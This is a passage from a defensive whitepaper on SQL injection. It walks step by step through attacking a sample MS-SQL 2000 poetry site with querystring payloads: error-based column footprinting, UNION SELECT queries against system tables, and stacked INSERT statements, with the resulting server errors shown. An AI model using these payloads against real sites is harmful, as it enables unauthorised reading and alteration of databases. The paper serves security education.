By Stuart McDonald
Abstract
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This paper will look at a selection of the methods available to a SQL injection attacker and how they are best defended against.
Introduction
It’s drilled into a programmer from “Programming 101”: The importance of input validation and ensuring that the data a user sends you is the data you want, not some poisoned lump of characters that's going to break your site and/or lose you your job.
As valuable as it may be to ensure your users are crossing their t’s and dotting their i’s, there's a more important reason for this validation and that centres around the principle of SQL injection.
When I first stumbled across an SQL injection paper, I gave it a cursory read and then tried a couple of the attacks against a test backend version of a site I was then looking after. Within six hours I had almost totally destroyed the site – and that was without using the more advanced tools available.
SQL injection is not a “dark art”, nor is it new. Numerous white papers and other references are available on the internet (see references), some of which are over a year old. Yet many sites play the roles of the lowest apples in the tree by being completely vulnerable to this form of attack.
As SQL injection how-tos, attacker awareness and now even automated tools such as wpoison that check for SQL injection vulnerabilities become more prevalent, these 'low apples' will be harvested at increasing rates.
Summary
This paper consists of five sections.
Part One – Injection principles: Yes, it really is this easy
Contains a detailed look at the basics of SQL injection. This will walk you through the anatomy of an attack. It is only by knowing exactly how an attacker will use SQL injection that you will be in a better position to protect your site.
Part Two – Advanced injection: Sprocs and the leverage of your position
Looks at some of the more advanced methods of SQL injection which can result in system compromise. This describes the use of stored procedures and extended stored procedures that come pre-installed on a MS-SQL 2000 set-up. It is Microsoft specific.
Part Three – Protection: How many walls to build around your site
Describes methods for the developer to protect their site and system from these kind of attacks.
Part Four – Conclusion: See, it does matter
Summarises why the threat of SQL injection is so serious.
Part Five – References: The information is out there
Contains a detailed listing of references and additional reading.
Conventions
In order to reduce the number of screen shots required in this paper, much of the screen output is colour-coded and is one point smaller instead.
All URL’s are blue.
All code snippets are red.
All error messages are green.
Although the examples used are specific to MS-SQL 2000 it should be noted that SQL injection is not an issue isolated to MS-SQL 2000 alone.
In part one a cut down version of a poetry site is for illustrative purposes. The poetry snippets have been altered where needed and are used with permission.
Part One – Injection principles: Yes, it really is this easy
SQL injection is one type of web hacking that requires nothing but port 80 and it might just work even if the admin is patch-happy." (AntiCrack. 27 May 2002).
" SQL injection is usually caused by developers who use 'string-building' techniques in order to execute SQL code." (SQL Injection FAQ)
The principle of basic SQL injection is to take advantage of insecure code on a system connected to the internet in order to pass commands directly to a database and to then take advantage of a poorly secured system to leverage an attacker's access.
Most other papers concerned with SQL injection use the example of either a login or search dialogue that is used to gain unauthorised access to the server. To avoid repeating what can be studied in other papers, I will instead look at SQL injection via the querystring, where the goal is to add general data to the database rather than to add a member to a users table. The attack I discuss uses the same principles as those in other papers, particularly the SPI Dynamics and NGSSoftware papers, but differs in its execution.
The sample site in the following examples makes use of a MS-SQL 2000 database to serve poems presented at poetry readings. The table lay-up is basic but the real world example is considerably more complicated. Two tables, titled author and story, respectively contain the poets’ names, nationality and age, and the poem specifics: title, blurb, poem and aID.
The site lists individual poems and the goal is to add an unauthorised poem and an unauthorised author to the database.
Hacking the querystring
A typical URL to read a poem is as follows:
http://stuart/homebase/practical/index.asp?story=1
When you visit the above URL you are greeted with a page title (Welcome to Bangkok’s Worst Poetry.com), the title of the poem ( The Mating of the Mongolian Butterfly ), the name (Stuart), nationality (Australian) and age (32) of the poet and a snippet from their poem (Par for the course…).
From this you can infer that the 1 in the querystring is some kind of reference to the actual poem. So, break off the querystring and you get the following:
Story=1
Change the value of Story to 4 and then reload the page with the URL:
http://stuart/homebase/practical/index.asp?story=4
We now have Cheese by Savage Henry, even though it was never called via a link for this particular poem.
Next, look at the VB Script code used to create the above (the connection portion of the script is omitted for brevity).
<%
storyID=request("story")
StrSql0="SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID="&storyID&" AND a.aID=s.aID"
Rs0.Open StrSql0,oConn
%>
The variable we have been playing with – that is, the story value -- is being passed with no input validation straight to the SQL query, which is then retrieving the data. This shows we could put anything in there as the value for storyID and it would be passed to the SQL statement. We could send commands to the database that the developer never intended
This is the principle behind SQL injection.
Breaking the querystring
There are two straightforward ways to break a URL. Firstly, you can try adding some SQL to the URL, as in the following:
http://stuart/homebase/practical/index.asp?story=3 AND someothercolumn=3
In our example this results in the following error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'someothercolumn'.
/homebase/practical/index.asp, line 33
This establishes that SQL injection is possible as we changed the SQL statement from:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID
to
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND someothercolumn=3 AND a.aID=s.aID
The column "someothercolumn" does not exist, so we get an SQL error.
The second way to break a page is with an apostrophe:
http://stuart/homebase/practical/index.asp?story=3'
The above results in the following server error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
The script has choked because we inserted an apostrophe after the 3, which breaks the SQL statement. By inserting the quotation mark, the SQL statement passed to the server was altered from:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID
to
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3' AND a.aID=s.aID
The single quotation mark causes an unclosed quotation mark error.
This is a little unusual as normally an integer would not be quoted in an SQL statement. Another example better illustrates the use of a quote: Imagine a summary page that lists poets by nationality. In this case a correct URL may be in the form:
http://stuart/homebase/practical/index_country.asp?country=laos
and the corresponding SQL would be:
SELECT a,aID,a.aName FROM author a WHERE a.aNationality='laos'
Note the value laos is quoted because it is a string, so when we alter the URL again, adding a quotation mark in laos, this quotation mark goes into the SQL and breaks it, as follows:
http://stuart/homebase/practical/index_country.asp?country=la'os
SELECT a,aID,a.aName FROM author a WHERE a.aNationality='la'os'
This SQL statement will crash because of the unclosed quotation mark.
Generally an attacker will need to use a quotation mark to break the SQL, though if the site is particularly poorly coded then they may just be able to add SQL in as in the first example.
Database foot printing
To be successful, an attacker will first need to map out the tables on the database, a process called database foot printing . As Beth Breidenbach states: "'Footprinting,' or identifying the configuration of the server is one of the first steps in deciding how to attack a site." (Breidenbach. 2002)
The method chosen to do this will depend on how poorly configured the server is. The most reliable method, shown here, is also the slowest. Other methods are covered in Part Two, where the use of stored procedures and extended stored procedures to extract the data are discussed.
To reliably footprint a database, the SQL statement must be broken, which will cause an error from which a plan of the database can be inferred.
A lot can be learned from error messages: they’re very handy when developing but are also very useful for attacking.
Look at the error message we got above when we added a quotation mark:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
The important part of this error is the part “AND a.aID=s.aID”. This tells an attacker both that there are at least two tables being used to generate this page (note the a. and s. – these are aliases for tables), and that these two tables are related via the field aID.
If an attacker was to look at this in the context of the poetry site, they could use their commonsense and guess that an aID refers to an author ID and the a and s may refer to author and story (though p for poem would be even easier to guess). But not even that much guessing is necessary, as eventually error messages will reveal almost everything.
An important point to note is that the snippet returned in the error message (AND a.aID=s.aID) does not reveal the actual table names. This is good practise from a developer’s perspective. When you use aliases, do not use the full table name as you are giving away your information cheaply. More on this is covered in Part Three.
An attacker must now find out what other fields are in the tables. For this they can use the SQL syntax GROUP BY or HAVING. For example:
http://stuart/homebase/practical/index.asp?story=3%20HAVING%201=1--
The apostrophe is removed as it is not necessary for this portion of the exercise to work. The %20 refers to a space, but what is important is the double dash at the end -- this is the equivalent of a comment and comments out whatever SQL may be appended to the line. The SQL becomes:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 HAVING 1=1-- AND a.aID=s.aID
The -- syntax then comments out the ending part of the SQL statement. This is very important as without the ability to do this (ie, if the -- is cut out via input validation) SQL injection becomes far more difficult.
This will create a new error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.sID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/homebase/practical/index.asp, line 20
An attacker has been advised by the error that there is a column called s.sID.
This error has arisen because if you are going to use HAVING, you must also use a GROUP BY, which groups all the fields. Now the attacker must iterate through the fields until they no longer get an error. The next example shows how this is done:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID%20having%201=1--
The attacker has now taken the s.sID field given to them and inserted it into the URL, which produces the next error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
Now they have determined the next column name, s.title, which they add to and then repeat the process:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.blurb' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
Which then gives them s.blurb and so on. This can get tedious if the table happens to have many columns.
Assume the full table has been deduced, we have the following querystring:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,s.blurb,
s.story%20having%201=1--
This gives us the following:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'a.aName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
Note the error has switched to the next table, the one with the nickname a.
When the attacker has inserted all the values into the URL the following is created:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,
s.blurb,s.story,a.aName,a.aNationality,a.aAge%20having%201=1--
This URL delivers the attacker an error free screen and a poem titled King of the Soi by Chanet.
To summarise, the attacker so far has learned:
1. Two tables are used in this page and their nicknames are ‘a’ and ‘s’.
2. They contain at least the following fields (they may have other fields that are not used for this screen):
a. a: aID (they got this one in the very start), aName,aNationality,aAge
b. s: sID,aID (ditto), title,blurb,story
3. A relationship exists between the two tables over the aID field.
The next challenge is to determine the table names so a record may be inserted.
To establish table names, the system table that comes as a part of MS-SQL 2000, called the sysObjects table, is used. The sysObjects table contains information on all the tables within the database being used.
The method used to tackle this depends on how the information is being displayed. In this case, the poem is being pulled from the database and displayed on the screen, so an attacker needs to append a query to this statement using UNION SELECT, but they have to make sure that the original SELECT returns nothing and that the information from their appending query is returned instead.
Here is the original and correct statement:
SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationality,a.aAge FROM story s, author a WHERE sID=3 AND a.aID=s.aID
To get the table name from the SysObjects table one would normally use the following:
SELECT name FROM sysObjects WHERE xtype='U'
(The U designates a user-defined table)
To combine these the story value is assigned a high number so it will not return a valid poem, and then the other statement is added on with UNION. Note that this won’t work unless both statements have the same number of fields. The attacker has already established how many columns are in the first table, so now they add digits into the second to make them even, as follows:
SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationality,a.aAge FROM story s, author a WHERE sID=999 AND a.aID=s.aID UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype='U'
This translates into the following URL:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%
201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype='U'--
The page that results has the text "author" (circled in red) where we expected to see the poet's age, and the other fields are filled with the numbers one through six instead of valid information.
A couple of points:
a) 1,2,3,4,5,6,name are used arbitrarily to fill the fields with junk data. Only the last field, name, is important.
b) Occasionally an error will say the wrong data type has been used. In such cases, the field generating the error must be determined and switched to something quoted eg ‘one’
c) ‘name’ is used because it is the value being sought. In the sysObjects table the column ‘name’ contains the table names.
d) A double dash must be added at the end to comment the remainder of the original statement.
The attacker now has the name of one of the tables – author. Now they get the other one.
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,name%20FROM%20sysObjects%20WHERE%20(xtype='U'%20AND%20(name<>'author'%20))--
They now have two tables, author and story, with at least the following properties:
a.author: aID, aName,aNationality,aAge
s.story: sID,aID, title,blurb,story
Checking cannot be overdone in SQL injection. Here, it is necessary to check that these are the complete lists of columns in each of the tables. The SysObjects table can also be used for that, but instead of calling the column ‘name’ they call the column 'info', which contains the number of columns in a given table.
The syntax is as follows:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4
,5,6,info%20FROM%20sysObjects%20WHERE%20(name='author')--
This returns 4 – so our author table is complete. But when story is run:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,info%20FROM%20sysObjects%20WHERE%20(name=’story')--
This returns 6, a problem as we have only determined 5 of the columns.
The best way to find out the name of the remaining column is to again make use of the SysObjects table, but in conjunction with the SysColumns table as follows:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,5,6,sys
Columns.name%20FROM%20sysObjects,sysColumns%20WHERE%20(sysObjects.id=sysColumns.id AND sysObjects.name='story' AND sysColumns.name not like 'sID' AND sysColumns.name not like 'aID' AND sysColumns.name not like 'title' AND sysColumns.name not like 'blurb' AND sysColumns.name not like 'story')--
Which returns ‘storydate’ and then completes the table.
The last thing needing to be done before publishing a tome of poetry is to check on the type of each column. Strictly speaking in this example it is not necessary, but just to be thorough this is how it is done:
http://stuart/homebase/practical/index.asp?story=334%20union%20select%20sum(aID)%20from%20author--
Determining the column type again comes down to reading error messages, iterating through each column and running a SUM on it. If the field is numeric the following error (off the above URL) appears:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/homebase/practical/index.asp, line 20
However if the field is a text field this error is generated:
http://stuart/homebase/practical/index.asp?story=334%20union
%20select%20sum(aName)%20from%20author--
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/homebase/practical/index.asp, line 20
By running through this process, the following is known:
a.author: aID(int), aName(varchar),aNationality(varchar),aAge(varchar)
s.story: sID(int),aID(int), title(varchar),blurb(varchar),story(varchar),storydate(varchar)
Adding unauthorised data
With the information garnered in the database foot printing section, it is now possible to inject a valid INSERT statement to the database.
First the attacker needs to enter the poet name (author), for instance as follows:
INSERT INTO author VALUES (‘Dante’,’Italian’,’89’)
http://stuart/homebase/practical/index.asp?story=999;INSERT%20INTO%20author%20
VALUES%20('Dante','Italian','89')--
No error message appears, the record appears to have been entered correctly. However, the aID, which needs to be entered into the story table remains unknown.
To obtain this, it’s necessary to run another query:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,aID%20FROM%20author%20WHERE%20(aName='Dante')--
Which returns 10 – the aID for Dante.
The last step is to insert the poem into the story table.
s.story: sID(int),aID(int), title(varchar),blurb(varchar),story(varchar),storydate(varchar)
Taking a guess at the INSERT statement, produces something like this:
INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som tam is so spicy,<br>It makes my mouth burn’)
Which gives us the following URL:
http://stuart/homebase/practical/index.asp?story=999; INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som tam is so spicy,<br>It makes my mouth burn’,’2000/12/12’)--
When this returns no error, it is still necessary to establish the ID of the story, which is done similarly to establishing the author ID. In this case it is 9.
http://stuart/homebase/practical/index.asp?story=9
